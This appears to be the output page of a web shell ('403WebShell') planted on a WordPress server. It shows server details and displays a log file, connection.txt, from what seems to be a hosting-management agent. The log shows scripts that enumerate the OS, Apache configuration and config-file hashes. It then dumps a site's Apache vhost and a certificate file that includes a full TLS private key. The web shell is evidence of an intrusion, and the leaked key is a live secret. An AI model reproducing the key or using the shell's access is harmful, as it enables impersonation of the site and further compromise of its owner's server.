Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/phil/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/phil/connection.txt
2025-08-26 14:02:09: Establishing a remote connection
2025-08-26 14:02:09: 

PUT: /tmp/pkp508588

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-08-26 14:02:09: 

chmod 755 /tmp/pkp508588; /tmp/pkp508588; rm /tmp/pkp508588

2025-08-26 14:02:33: 

PUT: /tmp/pkp619606

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-08-26 14:02:33: 

chmod 755 /tmp/pkp619606; /tmp/pkp619606; rm /tmp/pkp619606

2025-08-26 14:02:57: 

SERVER INFO (php_model): array (
  'debian' => 0,
  'redhat' => 0,
  'name' => '',
  'arch' => '',
  'mac' => 0,
  'distro' => '',
  'web' => 
  array (
  ),
)


2025-08-26 14:02:57: 

PUT: /tmp/pkp532936

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions


gzip -cn9 $temp_file
rm $temp_file


2025-08-26 14:02:57: 

chmod 755 /tmp/pkp532936; /tmp/pkp532936; rm /tmp/pkp532936

(gzipped output)




2025-08-26 14:02:59: 

PUT: /tmp/pkp646208

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-08-26 14:02:59: 

chmod 755 /tmp/pkp646208; /tmp/pkp646208; rm /tmp/pkp646208

2025-08-26 14:28:55: Establishing a remote connection
2025-08-26 14:28:56: installid not present
2025-08-26 14:30:18: Establishing a remote connection
2025-08-26 14:30:19: installid not present
2025-08-26 14:32:12: Establishing a remote connection
2025-08-26 14:32:12: installid not present
2025-08-26 14:41:59: Establishing a remote connection
2025-08-26 14:41:59: 

PUT: /tmp/pkp261739

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-08-26 14:41:59: 

chmod 755 /tmp/pkp261739; /tmp/pkp261739; rm /tmp/pkp261739





2025-08-26 14:42:00: 

PUT: /tmp/pkp173755

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-08-26 14:42:00: 

chmod 755 /tmp/pkp173755; /tmp/pkp173755; rm /tmp/pkp173755



[apache2]
Server version: Apache/2.4.52 (Ubuntu)
Server built:   2025-08-11T12:10:10
Server's Module Magic Number: 20120211:126
Server loaded:  APR 1.7.0, APR-UTIL 1.6.1
Compiled using: APR 1.7.0, APR-UTIL 1.6.1
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 854294
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      854294  0.0  0.3 223624 29288 ?        Ss   09:55   0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2025-08-26 14:42:01: 

SERVER INFO (php_model): array (
  'debian' => 0,
  'redhat' => 0,
  'name' => '',
  'arch' => '',
  'mac' => 0,
  'distro' => '',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'reqtimeout_module',
      26 => 'rewrite_module',
      27 => 'setenvif_module',
      28 => 'socache_shmcb_module',
      29 => 'ssl_module',
      30 => 'status_module',
    ),
  ),
)


2025-08-26 14:42:01: 

PUT: /tmp/pkp447888

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions


gzip -cn9 $temp_file
rm $temp_file


2025-08-26 14:42:01: 

chmod 755 /tmp/pkp447888; /tmp/pkp447888; rm /tmp/pkp447888

(gzipped output)




2025-08-26 14:42:02: 

PUT: /tmp/pkp154730

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-08-26 14:42:02: 

chmod 755 /tmp/pkp154730; /tmp/pkp154730; rm /tmp/pkp154730

(gzipped output)




2025-08-26 14:42:03: 

PUT: /tmp/pkp549201

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		service apache2 restart
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		service apache2 restart
	fi
	echo status=ok
fi



2025-08-26 14:42:03: 

chmod 755 /tmp/pkp549201; /tmp/pkp549201; rm /tmp/pkp549201



status=ok


2025-08-26 14:42:04: 

PUT: /tmp/pkp935123

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-26 14:42:04: 

chmod 755 /tmp/pkp935123; /tmp/pkp935123; rm /tmp/pkp935123

(gzipped output)


MD5(/etc/apache2/ports.conf)= a961f23471d985c2b819b652b7f64321
MD5(/etc/apache2/apache2.conf)= 20589b50379161ebc8cb35f761af2646
MD5(/etc/apache2/sites-available/000-default.conf)= f3066f67070ab9b1ad9bab81ca05330a
MD5(/etc/apache2/sites-available/pjy_desktop_us.conf)= 0437bc933db2ebb1dffb132151d784c7
MD5(/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt)= 4b3d257734e7da5f2fddb670d792402e
MD5(/etc/apache2/sites-available/default-ssl.conf)= 801f4c746a88b4228596cb260a4220c4
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 6fb555fa2b39e6998378eb892ca8f3a3
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/pjy_desktop_us.conf)= /etc/apache2/sites-available/pjy_desktop_us.conf


2025-08-26 14:42:05: 

PUT: /tmp/pkp563326

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/pjy_desktop_us.conf')
    show_file('/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-26 14:42:05: 

chmod 755 /tmp/pkp563326; /tmp/pkp563326; rm /tmp/pkp563326

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_desktop_us.conf	1277

<VirtualHost *:80>
    ServerName	desktop.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_desktop/public
    <Directory /var/www/pjy_desktop/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/desktop_access.log combined
    ErrorLog	/var/log/apache2/pjy/desktop_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	desktop.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt
    DocumentRoot	/var/www/pjy_desktop/public
    <Directory /var/www/pjy_desktop/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/desktop_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/desktop_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt	5346
f2:47:c4:08:74:61:d3:c1:32:fc:c8:2b:30:49:33:91

-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBUw/zX+v/FkTQp9Fywh3nPULMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTAwHhcNMjUwODEwMTY0NDA5WhcNMjUxMTA4MTY0NDA4WjAZMRcwFQYDVQQD
Ew5kZXNrdG9wLnBqeS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ANdISLv4/BmfmWiBRosMbCwfN/EHzawgkB6lXCrOKwT5aCMS+iOWbLGFh6HB3cvW
Yig46cE+EBcuSw9UaBzywljYCYmfiEsX0FDttVxxdrpMJxMwueUhtWOv+4+9CrrD
FeUMzhJqQXbe0S/TadRi9B/oZXK/f2mPPTeKLjZfVrOnXrAC8uDg6jxYcoJrBopd
jmF4zjMI37AnwhGC+6ozwby2geWt8OVqRiYju9xWjcdb5Wi4tiIrTXlD8NeX6qgh
UdFdXKaURbAL9NGW/H8qg9ZQyS7P4T3zgFT4eG0ldFLddINWRqTXjUH37q4aSZDe
8fTO0eBSNjdsXpk5+B4OlmsCAwEAAaOCAh8wggIbMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU8L8XXgzhOZEzFwq+Vfg12WWtyzswHwYDVR0jBBgwFoAUu7zDR6XkvKnG
w6RyDBCNojXhyOgwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEwLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5kZXNrdG9wLnBqeS51czATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEwLmMu
bGVuY3Iub3JnLzEyLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB3AO08S9bo
BsKkogBX28sk4jgB31Ev7cSGxXAPIN23Pj/gAAABmJUTywgAAAQDAEgwRgIhAPnD
GED8ACiDKUaoGRc09fYiIBLl0iGaV735jnce9V5qAiEAtTSOCnHS9c5RvCHgviuB
MVua9RhWJSh962LplWK+qX8AdgDd3Mo0ldfhFgXnlTL6x5/4PRxQ39sAOhQSdgos
rLvIKgAAAZiVE9MmAAAEAwBHMEUCIBVQbdJjwmAAzLxjlBiTUBlxEY2QeN0PVK8/
GasLYIROAiEAm/gcCULcNkevfPxM4Oeuwye+r5/YLEz+vNfTay9/CkowDQYJKoZI
hvcNAQELBQADggEBAE2XbYg7RfNs4/RvNgWvl0nxtyZT38ZfuoJG/DMBiVNWka4p
GW/v4m3D1WshK2euVjZ1H3RjZjyUtTDOW0/mW7jZnFTEl4mPWSbmbfydaH3YnF0B
MgClxJbrMiE5iVglnUfqqpLiQ+WlBwU/6v/AGjTd7XEp5cP1e4n7sQZh0CJsNm6Q
3FVCQ5pWQ8soBnQ9hhunsuB1L410Nmc1vK/duL6hvm+/jixu7UF32wrqBbzP4sdL
Y8wB+IS2bGKWNEuVmH+DvNr9OYEWSzbz/LUdEb9rtaqVMXa+cCrTztRwM/NnTWqe
P/GQx847oCKwhZi0Csu1ezQzKrlpZ74BoFZnCOE=
-----END CERTIFICATE-----

-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDXSEi7+PwZn5lo
gUaLDGwsHzfxB82sIJAepVwqzisE+WgjEvojlmyxhYehwd3L1mIoOOnBPhAXLksP
VGgc8sJY2AmJn4hLF9BQ7bVccXa6TCcTMLnlIbVjr/uPvQq6wxXlDM4SakF23tEv
02nUYvQf6GVyv39pjz03ii42X1azp16wAvLg4Oo8WHKCawaKXY5heM4zCN+wJ8IR
gvuqM8G8toHlrfDlakYmI7vcVo3HW+VouLYiK015Q/DXl+qoIVHRXVymlEWwC/TR
lvx/KoPWUMkuz+E984BU+HhtJXRS3XSDVkak141B9+6uGkmQ3vH0ztHgUjY3bF6Z
OfgeDpZrAgMBAAECggEBALb7YZckEmNVHHePKf6WGHuILWxZTZ+4LcdelfBsPHSF
6NWnE6Wb/dcFwDrlJThUiCnX9heiQNrzJilpfPTeAgKx3al0R8xL+WxQH47rghbn
E29kQx1WgW6x7ghGjhAgMUP2llFgrzPyP6t+7rzvPsDALzpROmLmtQm4EX91maQo
Vx8seSU1D/gb04MDZAUXQAxUSiDyq+CNkN1XiEVfwTOcs5ZV4kXuyBXiMkwj1Lav
3IQZn2UixWnfFZQG9zJ6PH8RUC5scunl8Q84pwF4RZsKzUynZrVWOsXVuQAPp/ED
AN7msNIyf4jKV7keG2bebdw7F4SqCfWxfJNOl7X0MoECgYEA87GU3ITbYJP5adxV
eFtrFm36cZTgLx9UbwiKNPGE/c1JY/sjyN9uZb5mtO/j/kodKuy1d5EKhWo5kTrV
zwa6GfrwGRka3ZERIDnAvlTo5aJYbdR2XW9mEYeCDZJ23yVR68FgAMlV5uwAK/Px
mNQeUMMN2UTp1Qy4uqQjGvQjMzkCgYEA4idoRuHuRylT/MdcvQVQMpgvLOiWadBG
zJG9FGKKVkjG1Dk/l7NBjosPTthYYR204P8qKczJ9z6hqsi1jlVBNQAqgC46ydod
FSFL0/Bj7LgtjipsGldC+016il9nQdOtDlGlBZY5eHlKhJ0pJcbRX4S60GLtqWmq
Zt4PM+j5IsMCgYEA0tpHJBqsOj8uoeLr7Qykdq7H8HjRFNS12LB57N9Ao91479I/
nzF7svrwoQOjsMVtwVM4nHDZuqAzmS5gCxYV9h7CmeS38xfuyoRN+iE7tl0myDj6
BVQ661XlOFsPEXqYDDWwHF4YPorahy02UHbQmC59EA3piNbOC2eznEG7JzkCgYBr
kVrj/Cqd5mZwYVMXBSP0LLajoa2Jfutt+hP5UjWCfPM1llVNDpIr/rC1S+odp0eV
jUi8wQ9/bmbvGLBiluKBFycf+N01jW0v07qBgGHHAoOIj10D2mWdqmiS0HYItWom
2WaolZ+YUfjDww0DTuHfkP5ah/OLFRtb+ls40aNOiQKBgQCbrUybBXYCTUjj+776
Hq+znxYmA40Tmv5x8e2tLEQGetYWiloFAiLea7i6L07VOx1vZS7WCNZSOsO2PtNG
sAuvGldNp0hI1YKJXg/FosQudigEmIxc+vz8Ed1Z5aOEn5tiDvjM02Wj5+Fq/glZ
03JmoFuA7Sf5xKIBSFgNK7hxCQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQS6hSk/eaL6JzBkuoBI110DANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDPV+XmxFQS7bRH/sknWHZGUCiMHT6I3wWd1bUYKb3dtVq/+vbOo76vACFL
